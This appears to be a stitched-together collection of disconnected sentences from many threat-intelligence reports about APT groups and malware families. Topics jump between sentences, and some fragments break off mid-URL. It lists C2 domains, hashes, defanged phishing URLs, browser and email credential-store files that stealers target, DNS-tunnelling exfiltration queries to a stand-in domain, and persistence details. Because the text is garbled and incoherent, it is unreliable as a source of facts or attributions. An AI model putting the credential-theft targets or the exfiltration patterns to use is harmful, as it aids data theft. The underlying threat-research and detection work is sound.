In the 2016 version , the value of the User-Agent header changed , as did the method of generating the relative path in the URL : now the part before /index.php is a mix of a pronounceable ( if not entirely meaningful ) word and random letters and numbers , for example , “ muromec280j9tqeyjy5sm1qy71 ” or “ parabbelumf8jgybdd6w0qa0 ” . TG-3390 uses the PlugX remote access tool . We also considered the move as an obfuscation technique , as it was mixed with a lot of script kiddie activities that can easily be mistaken for grey noise online . In its spear phish , CloudLook also used a self - extracting archive containing a PDF file that lured its victims with information regarding world terrorism .


Some of them like takephoto , takevideo , recordaudio , getsentsms and uploadpictures are focused on espionage activities . While investigating one of these infections involving White Lambert ( network-driven implant ) and Blue Lambert ( active implant ) , we found yet another family of tools that appear to be related . The IXESHE attackers are notable for their use of compromised machines within a target ’s internal network as C&C servers . In our Google Analytics platform , we will see the data as : In our demo the DP will result in page view of Which will be decoded from base64 as : The source of the problem is that the CSP rule system is n’t granular enough .


Gorgon Group used common URL shortening services to download payloads . According to Cheetah Mobile’s follow-up investigation , fraudulent behaviors came from two 3rd party SDKs Batmobi , Duapps integrated inside Cheetah SDK .


Our team went ahead and hunted for samples of the app and analyzed it in our labs . In some of the latest samples of BalkanDoor detected in 2019 , the malware is distributed as an ACE archive , disguised as a RAR archive (i.e , not an executable file) , specially crafted to exploit the WinRAR ACE vulnerability CVE-2018-20250 . Join us in a live webinar as we discuss this threat group whom we assess to be working on behalf of the Iranian Government , with a mission that would benefit nation-state geopolitical and economic needs .


Some of the settings are Boolean values that act as switches . Once a valid card with a malicious EMV chip is detected , RIPPER will instantiate a timer to allow a thief to control the machine . However , they later continued by making modifications to the Excel document just prior to the attack on August 26th .


Officials at BLU could n't be immediately reached for comment . Analysis of the Royal Road weaponizer has resulted in the discovery that multiple Chinese threat groups started utilizing CVE-2018-0798 in their RTF weaponizer . C2 : phot.healthsvsolu.com .


Given that both organizations appear to describe similar ( if not identical ) activity , any reasonable person could ( and should ) ask – why the inconsistency in naming and identification .


ELF Utilities 00c787c0c0bc26caf623e66373a5aaa1b913b9caee1f34580bdfdd21954b7cc4 11499ff2418f4523344de81a447f6786fdba4982057d4114f64db929990b4b59 13ec6cec511297ac3137cf7d6e4a7c4f5dd2b24478a06262a44f13a3d61070b6 3c9f08b3280851f54414dfa5a57f40d3b7be7b73736fa0ba21b078e75ce54d33 This seems confusing as FireEye earlier publicly declared the " TRITON actor " as a discrete entity , linked to a Russian research institution , and christened it as " TEMP.Veles " . The domains were registered in November 2019 and operationalized shortly after . To prevent ProxyNotShell exploitation on older Microsoft Exchange servers , Microsoft released a blog4 advocating for a custom inside the Microsoft IIS server supporting Exchange .


] com hxxp : //apple-icloud [ . APT28 espionage activity has primarily targeted entities in the U.S. , Europe , and the countries of the former Soviet Union , including governments and militaries , defense attaches , media entities , and dissidents and figures opposed to the current Russian Government . The send counter is also passed to the AdrGen function as the part number parameter and is visible in the query string as depicted below: Query: 239e965ec000a60000B6C90T.COCTab33333233332222222222222222210100A3280AAAAAAAAAAAAAAAAA.33333210100A.sample-domain.evil , Response: 39.2.3.1 , Query: 230019e965eca60000A16DC20T.EBB466767667256666772556776662FBFD932F3F64079E4F730B65239FE0.33333210100A.sample-domain.evil , Response: 39.2.3.2 , Query: 392e002965eca60000C6D18C42T.33232333332333500262233332466710E0E18362E239DDA839020190D932.33333210100A.sample-domain.evil . Attacks start with VBA code to decode the next malware stage All campaigns start with Microsoft Office documents , which are possibly sent to the targets as email attachments .


If an intruder compromises a computer that has been onboarded to Windows Defender ATP , SOC personnel can isolate the computer from the network , blocking command and control of the implant and preventing attackers from installing additional malware and moving laterally to other computers in the network .


The group installed multiple tools within the environment , including three different tools on a strategically important server , likely to provide contingency access options .


Access to the networks of these third-party service providers grants the MSS the ability to potentially access the networks of hundreds , if not thousands , of corporations around the world . This file requires the target to attempt to open the .lnk file , which redirects the user to a Windows Scripting Component ( .wsc ) file , hosted on an adversary-controlled microblogging page .


] com hxxp : //mailsa-wqp [ . For full details , please reference our 2014 report , APT28 : A Window into Russia 's Cyber Espionage Operations . The differences between PoisonFrog and Glimpse highlight the ease at which adversaries can modify their tools to meet their end . The Winnti group diversified its targets to include enterprises such as those in pharmaceutics and telecommunications .


'' The trojan calls this function with the action GLOBAL_ACTION_BACK , which equals the pressing of the back button on the device , thus canceling the opening of the anti-virus application . The archive contains an .exe file , sometimes disguised as a Microsoft Word file , a video , or another file format , using the corresponding icon . While researching these attacks , we discovered an undocumented , custom malware family – which we ’ve named Dudell . Adversaries may perform data destruction over the course of an operation .


key3.db Firefox private keys ( now named key4.db ) cert8.db Firefox certificate database logins.json Firefox encrypted password database account.cfn The Bat ! ( email client ) account credentials wand.dat Opera password database .


Symantec saw the first evidence of Sowbug-related activity with the discovery in March 2017 of an entirely new piece of malware called Felismus used against a target in Southeast Asia . As in the past , these messages have been sent accounts believed to be fake and accounts compromised by Infy , including Kurdish activists that had previously been compromised by the Flying Kitten actor group .


This signals just how long ago the Poseidon threat actor was already working on its offensive framework . The Sogu gang , in contrast , use PDF and DOC files in very tailored , targeted emails .


Instead , sensitive KHNP documents were leaked by the actors as part of an effort to exaggerate the access they had and embarrass the South Korean Government , a technique we assess North Korea would turn to again in order to instill fear and/or meet domestic propaganda aims . NetTraveler has been used to target diplomats , embassies and government institutions for over a decade , and remains the tool of choice by the adversaries behind these cyber espionage campaigns .


The Sofacy developer modified the f4player ’s ActionScript to include additional code to load an embedded Flash object .


A fake alert will notify and urge the user to access the malicious domain and download XLoader . We identified this APT group coded as ‘APT-C-35’ in 2017 , who is mainly targeting Pakistan and other South Asian countries for cyber espionage . If the host is successfully reached , the script renames a file named “ kernel.dll ” , obviously not the real one , in “ uninstall.exe ” , another misleading name .


What ’ s innovative about this ransomware is how it displays its ransom note . Additionally , during that time , members of Gorgon Group were also performing criminal operations against targets across the globe , often using shared infrastructure with their targeted attack operations . An incorrect choice of control flow dispatcher and first block ( algorithm error ) Mandiant has observed RGB units utilize a series of Operational Relay Boxes ( ORBs ) using L2TP IPsec tunnels along with commercial VPN providers to obscure their source address .


The usefulness of flare-qdb can be seen in cases such as loops dealing with strings . Group-IB Bot-trek TDS sensors are in place at a number of financial institutions and , unfortunately , we register that currently Corkow malware is present on 80% of protected corporate systems .


They are both targeting businesses using accounting software , are fingerprinting systems of interest similarly , are looking for smart card readers , and finally , they deploy an array of malicious tools to spy on their victims . For example , the actors behind FrozenCell used a spoofed app called Tawjihi 2016 , which Jordanian or Palestinian students would ordinarily use during their general secondary examination .


In the past , the group used droppers that installed both the SPLM and AZZY backdoors on the same machine .


And like CORESHELL , the new malware attempts to download a second-stage executable .


This information stealer is augmented by a variety of components that the toolset operators may selectively include with the main component to provide additional functionalities , such as multiple methods of establishing persistence , as well as modules that attempt to exploit privilege escalation vulnerabilities in order to execute CosmicDuke with higher privileges .


Update your device : Keep your device up-to-date with the latest security patches . While the group has not yet demonstrated an ICS capability , RASPITE 's recent targeting focus and methodology are clear indicators of necessary activity for initial intrusion operations into an IT network to prepare the way for later potential ICS events . It includes an RC4 key ( which is XORed with 0x37 ) that is used to decrypt a filename and the embedded DLL file . Depending on the platform and on how the code is compiled , these vulnerabilities could lead to arbitrary code execution : Talos is disclosing these vulnerabilities despite no official fix from Open Babel .


We therefore believe the Dukes to work either within or directly for a government , thus ruling out the possibility of a criminal gang or another third party .


The payload exploits a local privilege escalation vulnerability in the Windows kernel if it detects that it is running with limited privileges .


Quasar serve does not even verify that a file was requested from the victim .


In this paper we focus only on BlackEnergy samples known to be used specifically by the actors we identify as Quedagh , who seem to have a particular interest in political targets . APT28 espionage activity has primarily targeted entities in the U.S. , Europe , and the countries of the former Soviet Union , including governments , militaries , defense attaches , media entities , and dissidents and figures opposed to the current Russian government .


) Let ’ s take a more detailed look at how this banking Trojan works . Kaspersky released a similar report about the same group under the name Carbanak in February 2015 . This version of KONNI is not designed to execute code on the infected system .


The main goal of Silence.Downloader is to receive an executable file and run it on an infected machine . In the first week of May 2016 , FireEye 's DTI identified a wave of emails containing malicious attachments being sent to multiple banks in the Middle East region .


android.media.RINGER_MODE_CHANGED android.sms.msg.action.SMS_SEND android.sms.msg.action.SMS_DELIVERED Creating a Web Server to Phish XLoader creates a provisional web server to receive the broadcast events . From the attack activity captured this time , it is obvious that Donot APT group is still keen on Pakistan as primary target of attack , and even expands scope of attack to include Pakistani staffs and institutions in China . The script is quite different from the previous one : it guarantees its persistence on the victim machine through the setting of “ HKCU\Software\Microsoft\Windows\CurrentVersion\Run ” registry key , creating a new entry named “ Windows Anytime Upgrade ” which points to “ winserv.exe ” , just stored into the same folder .


Curiously , several of these have included the world " Fateh '' in their package name , which may be referring to the Fatah political party . Lazarus attacks are not a local problem and clearly the group 's operations span across the whole world . However , the U.S. has also been a country of significant interest to the group , with 18 organizations attacked over the past three years , including a number of Fortune 500 companies . Almost immediately after its channel ’s creation , the group began posting files from compromised Ukrainian organizations .


While Orangeworm has impacted only a small set of victims in 2016 and 2017 according to Symantec telemetry , we have seen infections in multiple countries due to the nature of the victims operating large international corporations . Blending in with legitimate traffic is a common tactic used by attackers to help fly under the radar .


ESET have been tracking the malicious activities related to the Ke3chang group . In some instances , APT41 leveraged POISONPLUG as a first-stage backdoor to deploy the HIGHNOON backdoor in the targeted environment . The group also deploys the SOGU and CROSSWALK malware families as means to maintain presence . APT41 sent spear-phishing emails to multiple HR employees three days after the compromise had been remediated and systems were brought back online . APT41 also deploys the SOGU and CROSSWALK malware families as means to maintain presence . Within hours of a user opening the malicious attachment dropping a HOMEUNIX backdoor , APT41 regained a foothold within the environment by installing PHOTO on the organization's servers across multiple geographic regions . Before attempting to deploy the publicly available Ransomware-as-a-Service (RaaS) Encryptor RaaS through group policy , APT41 blocked victim systems from retrieving anti-virus updates by accessing the DNS management console and implementing a forward lookup on the domain used for anti-virus updates to the park IP address 1.1.1.1 . APT41 has been observed creating a RAR archive of targeted files for Exfiltration . APT41 is unique among tracked China-based actors in that it leverages non-public malware typically reserved for espionage campaigns in what appears to be activity for personal gain . During multiple engagements , APT41 attempted to remove evidence of some of its activity by deleting Bash histories , clearing Windows security and system events , and modifying DNS management to avoid anti-virus detections . Explicit financially-motivated targeting is unusual among Chinese statesponsored threat groups , and evidence suggests APT41 has conducted simultaneous cyber crime and Cyber Espionage operations from 2014 onward . APT41 operations against higher education , travel services , and news/media firms provide some indication that the group also tracks individuals and conducts surveillance . For example , the group has repeatedly targeted call record information at telecom companies . APT41 has established and maintained strategic access to organizations in the healthcare , high-tech , and telecommunications sectors . The group’s financially motivated activity has primarily focused on the video game industry , where APT41 has manipulated virtual currencies and even attempted to deploy ransomware . In another instance , APT41 targeted a hotel’s reservation systems ahead of Chinese officials staying there , suggesting the group was tasked to reconnoiter the facility for security reasons . These supply chain compromise tactics have also been characteristic of APT41’s best known and most recent espionage campaigns . Interestingly , despite the significant effort required to execute supply chain compromises and the large number of affected organizations , APT41 limits the deployment of follow-on malware to specific victim systems by matching against individual system identifiers . Mapping the group’s activities since 2012 (Figure 2) also provides some indication that APT41 primarily conducts financially motivated operations outside of their normal day jobs . The latter is especially notable because APT41 has repeatedly returned to targeting the video game industry and we believe these activities were formative in the group’s later espionage operations . APT41 leverages an arsenal of over 46 different malware families and tools to accomplish their missions , including publicly available utilities , malware shared with other Chinese espionage operations , and tools unique to the group . Once in a victim organization , APT41 can leverage more sophisticated TTPs and deploy additional malware . APT41 often relies on spear-phishing emails with attachments such as compiled HTML ( .chm ) files to initially compromise their victims .


The malware establishes persistence and sends HTTP requests to the command and control domain mailsinfo.net .


Utilizing Diamond Model methodology for characterizing activity by behaviors attached to victims , we began tracking TRITON S-MAL/TRISIS and immediate enabling activity as a distinct activity group ( collection of behaviors , infrastructure , and victimology ) designated XENOTIME .


During a recent campaign , APT32 leveraged social engineering emails with Microsoft ActiveMime file attachments to deliver malicious macros . While in most cases the infection vector remains unknown , the high profile attack from 2014 used a very complex Windows TTF zero-day exploit ( CVE-2014-4148 ) .


The Ham Backdoor functions primarily as a modular platform , which provides the attacker with the ability to directly download additional modules and execute them in memory from the command and control ( C2 ) server . Binders are delivered by attack vectors ( such as phishing and watering hole attacks ) onto a machine .


Trojan activity At the time of the writing of this post , all URLs ( see IOC section ) found on the sample were inactive , and it does not seem to be widespread . When CTU researchers first published information about LYCEUM to Secureworks Threat Intelligence clients , no public documentation on the group existed . We surmise that the targeting of banks , media , and government agencies is conducted in support of APT38 's primary mission .


However , Proofpoint researchers have recently observed phishing attacks that incorporate all of these elements in a single , multistep scheme involving the Marcher Android banking Trojan targeting customers of large Austrian banks . North Korean dictator Kim Jong Un has set ambitious economic goals , and some cybersecurity analysts have predicted he will unleash the Pyongyang-affiliated hackers to meet those deadlines by targeting multinational companies’ trade secrets . Leafminer : Raspite .


It is in use by the Molerats ( aka Gaza cybergang ) , a politically motivated group whose main objective , we believe , is intelligence gathering . TEMP.Veles' lateral movement activities used a publicly-available PowerShell-based tool , WMImplant .


] com through an upload queue . these attacks were part of a planned operation against specific targets in India . Congratulations_Jan-7.pdf : Inside , we break down the 5 most dangerous threats facing businesses this year — including LockBit and SocGholish — dissecting how they ’re delivered , where they spread , what they destroy , and the best practices to protect against them .


The second macro file ~de03fc12a.docm dropped includes a simple macro to execute the dropped executable .


And that ’ s exactly what has happened recently . Kaspersky Lab 's products detect the Microsoft Office exploits used in the spear-phishing attacks , including Exploit.MSWord.CVE-2010-333 , Exploit.Win32.CVE-2012-0158 . The campaign appears highly targeted and delivers a backdoor we have called ' Helminth ' .


We didn’t start out looking for KASPERAGENT , but a file hit on one of our YARA rules for an executable designed to display a fake XLS icon – one way adversaries attempt to trick targets into thinking a malicious file is innocuous .


This backdoor is executed using the CMD_EXECUTE command .


This is known as a targeted attack . The Leafminer 's post-compromise toolkit suggests that Leafminer is looking for email data , files , and database servers on compromised target systems . APT33 : 192.119.15.37 mynetwork.ddns.net . What ’s more , two other vulnerabilities in MOVEit were found while new victims were still coming forward .


By later August , TA505 had turned back to large attachment campaigns , primarily distributing various zipped scripts that downloaded Locky .


Dump data from the Viber messenger app . Another such an exceptional espionage platform is " ProjectSauron , also known as " Strider " . This group has been operating in the Middle East since 2012 . Indicators of compromise help answer the question What happened while indicators of attack can help answer questions like What is happening and why A proactive approach to detection uses both IOAs and IOCs to discover security incidents or threats in as close to real time as possible .


The following examples were developed using a Winnti installer that was used in attacks in December 2016 .


Instead , we downloaded and compiled the 1.2.0.0 server of the open-source Quasar RAT , having determined that this seemed likely the most similar version .


DustySky has been developed and used since May 2015 by Molerats ( aka " Gaza cybergang " ) , a terrorist group whose main objective in this campaign is intelligence gathering . On multiple dates in 2017 , TEMP.Veles struggled to execute this utility on multiple victim systems , potentially due to AV detection .


Symantec discovered the most recent wave of Tick attacks in July 2015 , when BRONZE BUTLER compromised three different Japanese websites with a Flash ( .swf ) exploit to mount watering hole attacks . To do this , it employs a number of specific commands via DNSMessenger .


These emails included recruitment-themed lures and links to malicious HTML application ( HTA ) files . The malware author seemingly made unpacking the malware more difficult to slow down or even evade the antivirus engine ’s scanning process .


downloader , Older version of CORESHELL , Sofacy .


Code contained inside one of the slides triggers an exploit for CVE-2017-8759 , a remote code execution vulnerability in Microsoft .NET framework . MXI Player appears to be a version of the Bahamut agent , designed to record the phone calls and collect other information about the user ( com.mxi.videoplay ) .


CONCLUSIONS FakeSpy was first seen in October 2017 and until recently mainly targeted East Asian countries . Notably , the group’s use of email as infection vector seems to yield success for their campaigns . ther names for the group are Vixen Panda , Ke3chang , Royal APT , and Playful Dragon .


The attackers deploy a rare modification of the AZZY backdoor , which is used for the initial reconnaissance .


The OnionDuke toolset also includes a dropper , an information stealer variant and multiple distinct versions of the core component that is responsible for interacting with the various modules .


Wind Tre SpA - an Italian telecom operator TMCell - the state owned mobile operator in Turkmenistan Deployment to users outside Apple ’ s app store was made possible through abuse of Apple ’ s enterprise provisioning system . WannaCry leverages an exploit , codenamed " EternalBlue " , that was released by the Shadow Brokers on April 14 , 2017 . MuddyWater has recently been targeting victims likely from Lebanon and Oman , while leveraging compromised domains , one of which is owned by an Israeli web developer .


Kaspersky first became aware of BlackOasis’ activities in May 2016 , while investigating another Adobe Flash zero day . Buckeye's exploit tool , EternalRomance , as well as EternalSynergy , can exploit the CVE-2017-0143 message type confusion vulnerability to perform memory corruption on unpatched victim computers .


Using these tactics Scarlet Mimic can directly target previously identified individuals ( spear phishing ) as well as unidentified individuals who are interested in a specific subject ( watering hole ) . In this blog , we look at the Winnti malware implant as used by two known activity groups BARIUM and LEAD .


In most cases , these click fraud apps were uninstalled by the users , probably due to the low quality of the apps . SPEAR identified recent PassCV samples which implemented another commercial off-the-shelf ( COTS ) RAT called Netwire . The threat actors achieved an initial foothold into the infrastructure via phishing email that convinced victims to install the Xyligan remote access Trojan ( RAT ) on a system . Then , it copies the system file “ rundll32.exe ” to the same directory with name “ ntuser.exe ” and runs it with “ ntuser.bin ” as a parameter , effectively loading the malicious DLL file .


Next , ZeroT uses HTTP beacons to transmit information about the infected system to the command and control ( C&C ) .


For example , some of the more advanced banking Trojans now offer features such as a back-connect proxy , screen-streaming and even remote control . SectorJ04 was recently confirmed to use additional backdoor called AdroMut and FlowerPippi , which is used to install other backdoor such as FlawedAmmy RAT on behalf of the MSI file , or to collect system information and send it to the attacker’s server . In fact , REDBALDKNIGHT has been zeroing in on Japanese organizations as early as 2008 — at least based on the file properties of the decoy documents they've been sending to their targets .


Potential targets such as Hamas who controls the Gaza strip and counts Mazen Fuqaha and Yahya al-Sinwar as members , Israel which is accused of involvement in the assassination of Mazen Fuqaha , and the Fatah party of which the Prime Minister and President of the Palestinian Authority are members .


Capture real-time voice calls in any network or app by hooking into the “ mediaserver ” system service RCSAndroid in the Wild Our analysis reveals that this RCSAndroid ( AndroidOS_RCSAgent.HRX ) has been in the wild since 2012 . In some cases , the attackers used the Society for Worldwide Interbank Financial Telecommunication ( SWIFT ) network to transfer money to their accounts . shown after the First Block . This sample works in tandem with PIEHOP , which sets up the execution .


There is no way to access the original app again even if victims terminate the overlay process and reopen app , until credit card ( name , number , expiry date , security code ) and/or bank information ( PIN , VBV passcode , date of birth , etc . The Plead malware is a backdoor which , according to Trend Micro , is used by the BlackTech group in targeted attacks . The term zero-day is indicative of a software flaw that remains unknown to the software ’s creator . Cyclops Blink can use non - standard ports for C2 not typically associated with HTTP or HTTPS traffic.[10 ] DarkVishnya used ports 5190 and 7900 for shellcode listeners , and 4444 , 4445 , 31337 for shellcode C2.[11 ]


Command Arguments DOWNLOAD_LIST C:\ProgramData\Office\MS\out.txt , C:\ProgramData\Office\MS\text.txt .


] com hxxp : //nttdocomo-qaw [ . In 2013 , the Sofacy group expanded their arsenal and added more backdoors and tools , including CORESHELL , SPLM , JHUHUGIT , AZZY and a few others . The overall attack leverages several different approaches , which are popular techniques amongst red teamers , espionage focused adversaries , and large scale criminal campaigns . Adversaries may utilize many different protocols , including those used for web browsing , transferring files , electronic mail , or DNS .


Of the 10 million people who downloaded HummingBad-contaminated apps , an estimated 286,000 of them were located in the US . PapaAlfa is believed to be one of the proxy malware components that the Lazarus Group uses to hide the true command and control server ( s ) for operations . One Shamoon victim in Saudi Arabia had recently also been attacked by Elfin and had been infected with the Stonedrill malware ( Trojan.Stonedrill ) used by Elfin . When CrowdStrike researchers later reproduced the attack , events were present in CozyDuke - also known as CozyBear , CozyCar and Office Monkeys ( among others ) , and whose activity appears to align with advanced persistent threat APT29 - is a threat actor which came to prominence in 2014 when it is believed to have staged a series of precise attacks on high profile targets including the US White House , Department of State and the Democratic National Committee .


At a high level , hot patching can transparently apply patches to executables and DLLs in actively running processes , which does not happen with traditional methods of code injection such as CreateRemoteThread or WriteProcessMemory . This campaign , first observed in 2010 , is believed to be operated by a well-funded group given how it appeared to have purchased the source code of the BIFROST backdoor , which the operators enhanced and created other tools from .


Matters pertaining to the Israeli-Palestinian Conflict : Some of the documents in this campaign reference different aspects of the Israeli-Palestinian conflict , and the efforts for ceasefire and peace processes between the Israelis and the Palestinians , including the latest peace plan made by President Donald Trump and Senior Advisor to the President of the United States Jared Kushner .


bde7847487125084f9e03f2b6b05adc3 2 v3.12s 2560942bb50ee6e6f55afc495d238a12 2 v3.18s It ’ s interesting that the issuer “ Sun ” matches the “ Sun1 ” and “ Sun2 ” identifiers of infected devices from the FTP server , suggesting they may be test devices . Our investigation into this campaign reveals that the actor used multiple malware implants , including an unknown implant with capabilities similar to Bankshot . This was quickly followed 15 seconds later by the installation of a credential dumping to csidl_profile\appdata\roaming\microsoft\credentials\dwm32.exe , and the execution of powershell commands via PowerShell Empire , a freely available post-exploitation framework , to bypass logging on the infected machine . A clever example was ‘ Office Monkeys LOL Video.zip ’ .


The CrowdStrike Falcon Intelligence™ team 's tracking of MYTHIC LEOPARD began in late 2016 , when evidence of an attack surfaced against a victim based in India and working in the hospitality sector . When the document was opened in Word , it exploited a previously unknown vulnerability in the Microsoft Office PostScript interpreter ( designated CVE-2015-2545 ) that enabled it to execute the attacker 's code and drop an attacker-generated malicious DLL onto the computer .


Once the malware can use accessibility services , it has the ability to operate as a keylogger and can retrieve notifications about other installed applications and content of open windows . One hour later , Bemstour was used against an educational institution in Belgium . Link analysis of infrastructure and tools also revealed a potential relationship between Magic Hound and the adversary group called " Rocket Kitten " ( AKA Operation Saffron Rose , Ajax Security Team , Operation Woolen-Goldfish ) as well as an older attack campaign called Newscasters .


That said , so as to hinder detection of new versions , the Trojan ’ s APK file and the C & C server domains are changed regularly , and the Trojan download links are often one-time-use . this SWC was used to specifically target Turkish . Trend Micro™ XGen™ security provides high-fidelity machine learning that can secure the gateway and endpoints , and protect physical , virtual , and cloud workloads . Adversaries may send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality , or without the logical preconditions to trigger their expected function .


A few days ago , Symantec discovered a new document that appears to be part of the ongoing BlackEnergy APT group attacks against Ukraine . Group-IB specialists determined that the email addresses of IT bank employees were among the recipients of these emails . The main goal of Silence.Downloader is to receive an executable file and run it on an infected machine . Silence.MainModule is a typical remote control Trojan that provides access to the command shell CMD.exe with the possibility of downloading files from remote nodes to a computer and uploading files from a computer to a remote server . Since at least 2011 , these hackers have been using malware to spy on corporate networks . Hackers are targeting high-tech companies as well as chemical and pharmaceutical companies . The hackers will map a company’s network and look for strategically favorable locations for placing their malware . The corporation conrms the Winnti incident and issues the following statement: The cyberattack was discovered in the summer of 2014 and Henkel promptly took all necessary precautions.” Henkel claims that a very small portion” of its worldwide IT systems had been aected — the systems in Germany . A BASF spokeswoman tells us in an email that in July 2015 , hackers had successfully overcome the rst levels” of defense . The tool was written by sta of Thyssenkrupp , because the industrial giant—company number eleven—had been spied on by Winnti . Hackers are charged with spying on a manufacturer of gas turbines . The Hong Kong government was spied on by the Winnti hackers . Komplex is a backdoor that has been used by APT28 on OS X and appears to be developed in a similar manner to XAgentOSX . While OceanLotus’ targets are global , their operations are mostly active within the APAC region which encompasses targeting private sectors across multiple industries , foreign governments , activists , and dissidents connected to Vietnam . NewsBeef attacks against Saudi Arabian organizations and individuals are likely to continue . Rapid7 discovered that additional data was placed into the Dropbox accounts under control of the APT10 during the compromise and was able to attribute data that was placed into it as being owned by Visma . Rapid7 again observed APT10 dropping payloads named ccSEUPDT.exe . These RAT families are discussed in Novetta’s other report on the Lazarus Group’s RAT and Staging capabilities . Magic Hound has primarily targeted organizations in the energy , government , and technology sectors that are either based or have business interests in Saudi Arabia . Since at least 2013 , the Iranian threat group that FireEye tracks as APT33 has carried out a Cyber Espionage operation to collect information from defense , aerospace and petrochemical organizations . CTU researchers observed likely unsuccessful phishing campaigns being followed by highly targeted spearphishing and social engineering attacks from a threat actor using the name Mia Ash . CTU researchers conclude that COBALT GYPSY created the persona to gain unauthorized access to targeted computer networks via social engineering . Characterized by relatively unsophisticated technical merit and extensive use of spear phishing , the Magic Hound targeted individuals and organizations in the Middle East , as well as across Europe and in the United States . These malware families have a rich history of being used in many targeted attacks against government and private organizations . The activity surfaced in Southeast Asia , a region where APT10 frequently operates . The samples we analyzed originated from the Philippines . APT10 frequently targets the Southeast Asia region . Both of the loader’s variants and their various payloads that enSilo analyzed share similar Tactics , Techniques , and Procedures and code associated with APT10 . Typically , APT10 tends to employ a namesquatting scheme in their domains that aims to confuse the observer by posing as a legitimate domain . Also , the certificate embedded in the Quasar sample was issued at 22.12.2018 , which correlates with the file’s compilation date . Over the past three months , Recorded Future’s Insikt Group has observed an increase in APT33’s also known as Elfin infrastructure building and targeting activity , and on June 21 , 2019 , Yahoo . News reported that the U.S. Cyber Command launched cyberattacks on an Iranian spy group . Iranian state-sponsored threat actor APT33 has been conducting cyberespionage activity since at least 2013 , predominantly targeting nations in the Middle East , but also notably targeting U.S. , South Korean , and European commercial entities across a wide variety of sectors . Our research found that APT33 , or a closely aligned threat actor , continues to conduct and prepare for widespread cyberespionage activity , with over 1 , 200 domains used since March 28 , 2019 and with a strong emphasis on using commodity malware . The targeting of mainly Saudi Arabian organizations across a wide variety of industries aligns with historical targeting patterns for the group , which appear undeterred following previous exposés of their activity . Towards the end of April 2019 , we tracked down what we believe to be new activity by APT10 , a Chinese Cyber Espionage group . Almost 60% of the suspected APT33 domains that were classified to malware families related to njRAT infections , a RAT not previously associated with APT33 activity . Other commodity RAT malware families , such as AdwindRAT and RevengeRAT , were also linked to suspected APT33 domain activity . APT33 is an Iranian state-sponsored threat actor that has engaged in cyberespionage activities since at least 2013 . Western and Saudi organizations in industries that have been historically targeted by APT33 should be monitoring geopolitical developments and increasing the scrutiny of operational security controls focusing on detection and remediation of initial unauthorized access , specifically from phishing campaigns , webshells . Symantec’s Elfin report denoted additional targeting of the engineering , chemical , research , finance , IT , and healthcare sectors . We assess that the recent reporting on links between the Nasr Institute and Kavosh Security Group , as well as technical and persona analysis , overlaps among APT33 , APT35 , and MUDDYWATER , and is probably a result of the tiered structure that Iran utilizes to manage cyber operations . Recorded Future has been monitoring APT33 activity , beginning with research published in October 2017 , which revealed new infrastructure , malware hashes , and TTPs relating to the threat actor(s) . FireEye also noted in their 2017 report that the online handle xman_1365_x , ” found within the PDB path in an APT33 TURNEDUP backdoor sample , belonged to an individual at the Nasr Institute . Recorded Future’s Insikt Group has been monitoring APT33 activity , beginning with research published in October 2017 , which revealed new infrastructure , malware hashes , and TTPs relating to the threat actor(s) . Based on this information , it is possible that upon the exposure of the Nasr Institute as a front for Iranian state-sponsored offensive cyber activity , employees transitioned over to other entities , such as Kavosh , to protect their identities and minimize further exposure . Insikt Group researchers used proprietary methods , including Recorded Future Domain Analysis and Recorded Future Network Traffic Analysis , along with other common analytical approaches , to profile recently reported Iranian threat actor APT33’s domain and hosting infrastructure in an effort to identify recent activity . Insikt Group enumerated all domains reported as being used by APT33 since January 2019 . PlugX is a modular structured malware that has many different operational plugins such as communication compression and encryption , network enumeration , files interaction , remote shell operations and more . Using data from Recorded Future Domain Analysis and combining it with data derived from Recorded Future Network Traffic Analysis , Insikt Group researchers were able to identify a small selection of likely targeted organizations impacted by suspected APT33 activity . Following the exposure of a wide range of their infrastructure and operations by Symantec earlier this year , we discovered that APT33 , or closely aligned actors , reacted by either parking or reassigning some of their domain infrastructure . Since late March , suspected APT33 threat actors have continued to use a large swath of operational infrastructure , well in excess of 1 , 200 domains , with many observed communicating with 19 different commodity RAT implants . While we haven’t observed a widespread targeting of commercial entities or regional adversaries like in previously documented APT33 operations , the handful of targeted organizations that we did observe were mainly located in Saudi Arabia across a range of industries , indicating ongoing targeting aligned with geopolitical aims . The zip contained a sample of the Poison Ivy malware which is also known to be used by APT10 . The new malware families , which we will examine later in this post , show APT34 relying on their PowerShell development capabilities , as well as trying their hand at Golang . Additionally , with the assistance of our FireEye Labs Advanced Reverse Engineering (FLARE) , Intelligence , and Advanced Practices teams , we identified three new malware families and a reappearance of PICKPOCKET , malware exclusively observed in use by APT34 . This threat group has conducted broad targeting across a variety of industries operating in the Middle East; however , we believe APT34's strongest interest is gaining access to financial , energy , and government entities . Additionally , with the assistance of FireEye Labs , we identified three new malware families and a reappearance of PICKPOCKET , malware exclusively observed in use by APT34 . APT34 is an Iran-nexus cluster of cyber espionage activity that has been active since at least 2014 . This CPE was created to ensure our customers are updated with new discoveries , activity and detection efforts related to this campaign , along with other recent activity from Iranian-nexus threat actors to include APT33 , which is mentioned in this updated FireEye blog post . On June 19 , 2019 , FireEye’s Managed Defense Security Operations Center received an exploit detection alert on one of our FireEye Endpoint Security appliances . A backdoor that communicates with a single command and control server using HTTP GET and POST requests , TONEDEAF supports collecting system information , uploading and downloading of files , and arbitrary shell command execution . FireEye’s Advanced Practices and Intelligence teams were able to identify additional artifacts and activity from the APT34 actors at other victim organizations . Of note , FireEye discovered two additional new malware families hosted at this domain , VALUEVAULT and LONGWATCH . This tool was previously observed during a Mandiant incident response in 2018 and , to date , solely utilized by APT34 . PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome , Firefox , and Internet Explorer to a file . FireEye detects this activity across our platforms , including named detection for TONEDEAF , VALUEVAULT , and LONGWATCH . Several spear-phishing campaigns attributed to Carbanak , all occurring between March and May 2018 , were analyzed by security researchers in 2018 . One of the most prolific APT-style cyberattacks , specifically targeting the financial sector , is known as Carbanak . Discovered in 2014 , the campaign quickly gained notoriety after compromising the security systems of 100 banks in 40 countries and stealing up to $1 billion in the process . The same group is believed to have also been using the Cobalt Strike framework to run sophisticated campaigns , plotting and performing financial heists of financial institutions . Banks in countries such as Russia , the United Kingdom , the Netherlands , Spain , Romania , Belarus , Poland , Estonia , Bulgaria , Georgia , Moldova , Kyrgyzstan , Armenia , Taiwan and Malaysia have allegedly been targeted with spearphishing emails , luring victims into clicking malicious URLs and executing booby-trapped documents . A Carbanak trademark in cyberattacks remains the use of Cobalt Strike – a powerful pentesting tool designed for exploiting and executing malicious code , 